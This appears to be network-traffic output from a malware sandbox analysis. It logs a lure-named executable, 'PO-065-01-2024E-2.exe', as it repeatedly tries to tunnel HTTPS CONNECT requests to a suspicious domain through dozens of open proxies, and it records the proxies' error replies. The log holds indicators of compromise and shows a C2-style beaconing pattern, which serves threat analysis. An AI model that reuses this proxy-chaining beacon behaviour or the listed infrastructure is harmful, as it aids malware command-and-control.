Mar 11, 2024 16:39:55.004776955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.708091021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.382299900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.207864046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:08.598443031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:19.413566113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1598	192.168.2.10	55037	104.18.44.93	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.356662989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.511851072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1599	192.168.2.10	55042	104.20.75.69	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.359884977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.514270067 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1600	192.168.2.10	54895	139.59.1.14	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.362282038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.045739889 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1601	192.168.2.10	53978	74.119.144.60	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.362571955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1602	192.168.2.10	53370	168.126.74.132	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.387726068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.489116907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.489552975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.582854986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.676281929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:28.785804987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:40.785645008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:04.785609007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1603	192.168.2.10	54240	162.144.36.208	27829	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.390448093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.410985947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.411175966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.411114931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.504534006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:28.598146915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:40.598133087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:04.644999027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:52.660542011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1604	192.168.2.10	54913	203.218.172.225	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.394114971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1605	192.168.2.10	54912	103.23.100.1	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.399899960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1606	192.168.2.10	54916	58.234.116.197	8193	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.400697947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1607	192.168.2.10	51150	209.126.104.38	40750	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.424556017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.598216057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.624038935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.708025932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.775630951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1608	192.168.2.10	53285	217.145.199.47	56746	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.424637079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1609	192.168.2.10	54915	47.74.152.29	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.424912930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1610	192.168.2.10	51114	82.146.37.145	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.425309896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.489197016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.489561081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.582904100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.676536083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:28.785789013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:40.786420107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:04.785618067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1611	192.168.2.10	54746	117.160.250.130	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.453454971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.181324959 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1612	192.168.2.10	54932	91.189.177.190	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.454551935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.774898052 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3703 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1613	192.168.2.10	54914	177.38.5.16	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
